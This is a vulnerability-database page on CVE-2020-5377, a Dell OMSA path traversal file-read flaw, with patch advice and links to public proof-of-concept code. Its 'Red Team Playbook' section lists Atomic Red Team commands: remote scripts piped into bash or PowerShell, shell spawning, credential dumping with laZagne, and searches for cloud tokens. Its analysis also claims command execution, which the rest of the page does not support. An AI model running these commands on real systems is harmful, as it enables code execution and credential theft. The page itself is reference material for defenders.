CVE-2020-5377
Overview
The vulnerability is a path traversal flaw within Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and earlier. It arises from insufficient validation of user-supplied input in the Web API, allowing directory traversal character sequences to manipulate file system paths. The affected component is the OMSA management station's Web API interface, which improperly sanitizes requests, enabling unauthorized file system access.
Vulnerability Description
Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.
Impact
An unauthenticated remote attacker can exploit these path traversal vulnerabilities to read arbitrary files on the management station hosting OMSA, potentially exposing sensitive configuration and credential data. No authentication or user interaction is required, and network access to the OMSA Web API is sufficient. This unauthorized file access can facilitate further attacks such as credential theft or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates low attack complexity and no privileges needed.
Solution
Dell has released security updates addressing these path traversal vulnerabilities in OMSA versions later than 9.4, as detailed in advisory DSA-2020-172 available at https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en. Administrators should upgrade OMSA to the fixed version or later. No specific workarounds are documented; applying the vendor-provided patch is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and earlier is characterized by multiple path traversal flaws. These vulnerabilities allow an unauthenticated remote attacker to manipulate Web API requests by injecting directory traversal character sequences. This manipulation can lead to unauthorized access to the file system of the management station, enabling the attacker to read sensitive files or execute arbitrary commands. The underlying issue stems from inadequate validation of user input, which allows attackers to traverse the directory structure beyond intended boundaries, potentially exposing critical system files and configurations.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious API request that includes specially designed sequences to navigate the file system. For instance, by sending a request to the management interface, the attacker could access sensitive files such as configuration files, logs, or even user credentials stored on the server. This exploitation does not require authentication, significantly lowering the barrier for attackers and increasing the risk of widespread exploitation. Scenarios may include targeted attacks against organizations using vulnerable versions of OMSA, where attackers aim to gather intelligence or prepare for further attacks, such as lateral movement within the network.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Dell EMC's management software for their IT infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, potentially resulting in data breaches, loss of intellectual property, or exposure of confidential information. The business risks associated with such incidents include reputational damage, regulatory fines, and operational disruptions. Organizations may face significant costs related to incident response, recovery efforts, and potential legal liabilities stemming from data breaches. Furthermore, the high CVSS score of 9.1 indicates that this vulnerability poses a critical risk, necessitating immediate attention from affected organizations.
To detect and mitigate the risks associated with these vulnerabilities, organizations should implement several strategies. First, it is crucial to conduct regular vulnerability assessments and penetration testing to identify any instances of the vulnerability in their environment. Monitoring logs for unusual API access patterns can also help in detecting potential exploitation attempts. Organizations should prioritize patch management, ensuring that they upgrade to the latest versions of OMSA that address these vulnerabilities. Additionally, implementing network segmentation can limit the exposure of management interfaces to untrusted networks, thereby reducing the attack surface. Employing Web Application Firewalls (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the server.
In conclusion, the path traversal vulnerabilities in Dell EMC OpenManage Server Administrator represent a significant security risk that can be exploited by unauthenticated attackers. The potential for unauthorized file system access poses a threat to sensitive data and organizational integrity. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguard against exploitation and to maintain the security posture of IT environments utilizing this management software.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Emc Openmanage Server Administrator | All |
cpe:2.3:a:dell:emc_openmanage_server_administrator:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read | Rhino Security Labs | webapps | windows | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
und3sc0n0c1d0/AFR-in-OMSA
Validation of Arbitrary File Read Vulnerabilities in Dell OpenManage Server Administrator (OMSA) - CVE-2016-4004, CVE-20...
|
und3sc0n0c1d0 | 2 | 0 | 2022-11-30 | View |
|
h3x0v3rl0rd/CVE-2020-5377
CVE-2020-5377: Dell OpenManage Server Administrator File Read
|
h3x0v3rl0rd | 0 | 0 | 2024-05-29 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5377 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability?lang=en |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162110/Dell-OpenManage-Server-Administrator-9.4.0.0-File-Read.html |